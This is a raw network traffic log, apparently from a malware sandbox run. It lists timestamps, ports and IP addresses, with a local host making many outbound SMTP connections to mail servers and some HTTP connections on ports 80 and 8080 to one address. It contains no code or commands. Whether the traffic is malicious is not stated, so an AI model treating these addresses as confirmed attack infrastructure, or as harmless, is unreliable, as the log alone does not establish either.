Jan 7, 2022 15:43:48.422658920 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.422950983 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.422970057 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.422990084 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423010111 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423028946 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423048019 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423069000 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423089981 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423110008 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423162937 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423187017 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423211098 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423274994 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423294067 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423314095 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423381090 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423749924 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423818111 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.423837900 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.425863981 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.425893068 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.425936937 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.425980091 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.426032066 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.426059008 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.426111937 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.467772961 CET	49911	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:48.536637068 CET	25	49916	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:48.536782980 CET	49916	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:48.605233908 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605258942 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605366945 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605389118 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605408907 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605429888 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605453968 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605474949 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605575085 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605649948 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605673075 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605693102 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605849028 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605870962 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605892897 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605967999 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.605992079 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606051922 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606076002 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606115103 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606209993 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606232882 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606255054 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606276035 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606297970 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606373072 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606395006 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606813908 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606837988 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606858969 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606916904 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.606978893 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.608409882 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.610017061 CET	49902	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:43:48.610600948 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.610661030 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.610704899 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.610766888 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.610820055 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.610863924 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.611128092 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.611241102 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.611279011 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.611337900 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:48.621798992 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.711707115 CET	49881	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:48.801215887 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.801281929 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.801314116 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.801417112 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.801445961 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.802638054 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.802668095 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.802694082 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.802745104 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.802875042 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.802901983 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803046942 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803145885 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803244114 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803343058 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803371906 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803481102 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803570032 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803601027 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803726912 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803755999 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803872108 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803957939 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.803985119 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.804069042 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.804209948 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.804239035 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.804383039 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.804413080 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.804439068 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.805499077 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:48.813344002 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:48.860706091 CET	25	49925	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:48.861310959 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:48.883888006 CET	25	49916	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:48.910398006 CET	25	49925	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:48.914630890 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:48.962553978 CET	25	49925	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:48.962924957 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.010449886 CET	25	49925	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.015717983 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.055633068 CET	25	49916	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:49.056057930 CET	49916	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:49.056090117 CET	49916	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:49.056360006 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.065694094 CET	25	49925	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.066839933 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.067182064 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.067183971 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.109067917 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.109113932 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.109579086 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.109639883 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.114511967 CET	25	49925	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.114711046 CET	25	49925	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.114758968 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.114877939 CET	49925	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.155553102 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.155718088 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.163723946 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.168353081 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.177405119 CET	49882	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:49.197510004 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.197794914 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.198226929 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.220779896 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.223665953 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.224140882 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.240449905 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.240608931 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.277111053 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.277329922 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.285085917 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.285237074 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.286478043 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.327161074 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.327925920 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.328468084 CET	25	49927	193.239.68.121	192.168.2.6
Jan 7, 2022 15:43:49.328593969 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.328624010 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.328629971 CET	49927	25	192.168.2.6	193.239.68.121
Jan 7, 2022 15:43:49.335115910 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.340241909 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.342511892 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.342549086 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.344607115 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:49.388268948 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.391791105 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.391880035 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.396725893 CET	25	49926	142.250.150.27	192.168.2.6
Jan 7, 2022 15:43:49.400262117 CET	49926	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:43:49.403338909 CET	25	49916	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:49.408341885 CET	25	49916	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:49.447583914 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:49.451198101 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:49.501688957 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.560003042 CET	25	49916	74.125.200.26	192.168.2.6
Jan 7, 2022 15:43:49.560899019 CET	49916	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:43:49.581945896 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.581979990 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.582068920 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.582415104 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.582593918 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.583071947 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.583178997 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.583205938 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.583266020 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.584172010 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.584207058 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.584240913 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.584266901 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.584577084 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.584681988 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.584712029 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.584924936 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.584938049 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.595180988 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:49.598951101 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:49.691950083 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.701880932 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:49.702697992 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:49.772187948 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.772245884 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.772377968 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.772413015 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.772722960 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.772814989 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.772871971 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.772996902 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.774218082 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.774728060 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.774770021 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.774955988 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.774988890 CET	49912	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:43:49.806615114 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:49.806993961 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:49.871556997 CET	49917	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:49.912261009 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:49.915146112 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:49.915186882 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:49.919955969 CET	49933	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:49.960460901 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:43:49.965199947 CET	25	49912	54.244.49.115	192.168.2.6
Jan 7, 2022 15:43:49.999702930 CET	25	49934	176.223.123.126	192.168.2.6
Jan 7, 2022 15:43:49.999905109 CET	49934	25	192.168.2.6	176.223.123.126
Jan 7, 2022 15:43:50.018079996 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:50.018125057 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:50.018232107 CET	25	49930	104.47.51.110	192.168.2.6
Jan 7, 2022 15:43:50.019457102 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:50.019506931 CET	49930	25	192.168.2.6	104.47.51.110
Jan 7, 2022 15:43:50.067568064 CET	49884	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:50.799791098 CET	49887	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:50.799851894 CET	49886	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:50.879374981 CET	49888	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:50.933680058 CET	49936	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:51.702214003 CET	49889	25	192.168.2.6	195.29.173.131
Jan 7, 2022 15:43:51.901038885 CET	49892	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:51.978792906 CET	49893	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:52.307574987 CET	49898	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:52.477744102 CET	49901	25	192.168.2.6	96.47.154.206
Jan 7, 2022 15:43:52.701234102 CET	49903	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:53.073338985 CET	49933	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:53.509728909 CET	49902	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:43:53.976418972 CET	49936	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:54.484397888 CET	49911	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:43:55.975399017 CET	49917	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:43:56.184797049 CET	49951	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:56.193125963 CET	49952	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:56.777264118 CET	49955	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:57.167572021 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.193175077 CET	25	49958	104.47.18.74	192.168.2.6
Jan 7, 2022 15:43:57.193914890 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.220654011 CET	25	49958	104.47.18.74	192.168.2.6
Jan 7, 2022 15:43:57.220866919 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.246804953 CET	25	49958	104.47.18.74	192.168.2.6
Jan 7, 2022 15:43:57.247214079 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.276988029 CET	25	49958	104.47.18.74	192.168.2.6
Jan 7, 2022 15:43:57.277198076 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.303651094 CET	25	49958	104.47.18.74	192.168.2.6
Jan 7, 2022 15:43:57.303915977 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.303952932 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.329504967 CET	25	49958	104.47.18.74	192.168.2.6
Jan 7, 2022 15:43:57.329720020 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.329746008 CET	25	49958	104.47.18.74	192.168.2.6
Jan 7, 2022 15:43:57.331500053 CET	49958	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:43:57.716557026 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:57.743088961 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:57.743210077 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:57.771464109 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:57.771656036 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:57.798135042 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:57.802848101 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:57.802973032 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:57.831986904 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:57.832149982 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:57.863821030 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:57.993602037 CET	49964	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:43:58.009466887 CET	25	49964	194.97.150.230	192.168.2.6
Jan 7, 2022 15:43:58.009707928 CET	49964	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:43:58.011187077 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.011308908 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.025408983 CET	25	49964	194.97.150.230	192.168.2.6
Jan 7, 2022 15:43:58.025559902 CET	49964	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:43:58.038724899 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.038882971 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.039314032 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.040093899 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.041554928 CET	25	49964	194.97.150.230	192.168.2.6
Jan 7, 2022 15:43:58.043840885 CET	25	49964	194.97.150.230	192.168.2.6
Jan 7, 2022 15:43:58.043975115 CET	49964	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:43:58.044009924 CET	49964	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:43:58.059525013 CET	25	49964	194.97.150.230	192.168.2.6
Jan 7, 2022 15:43:58.059608936 CET	49964	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:43:58.060187101 CET	25	49964	194.97.150.230	192.168.2.6
Jan 7, 2022 15:43:58.060266972 CET	49964	25	192.168.2.6	194.97.150.230
Jan 7, 2022 15:43:58.066651106 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.066693068 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.066720009 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.066745996 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.066806078 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.066848040 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.066871881 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.066879034 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.066943884 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.094337940 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094382048 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094408989 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094434977 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094460964 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094476938 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.094487906 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094516993 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094521046 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.094544888 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094547033 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.094571114 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094575882 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.094589949 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.094590902 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.094804049 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.122725964 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.122878075 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123261929 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123292923 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123354912 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123385906 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123456955 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123485088 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123509884 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123532057 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123538017 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123555899 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123610020 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123632908 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123708010 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123785019 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123852015 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123895884 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123920918 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.123959064 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.123990059 CET	49961	25	192.168.2.6	142.250.145.26
Jan 7, 2022 15:43:58.124072075 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.124099016 CET	25	49961	142.250.145.26	192.168.2.6
Jan 7, 2022 15:43:58.124126911 CET	25	49961	142.250.145.26	192.168.2.6
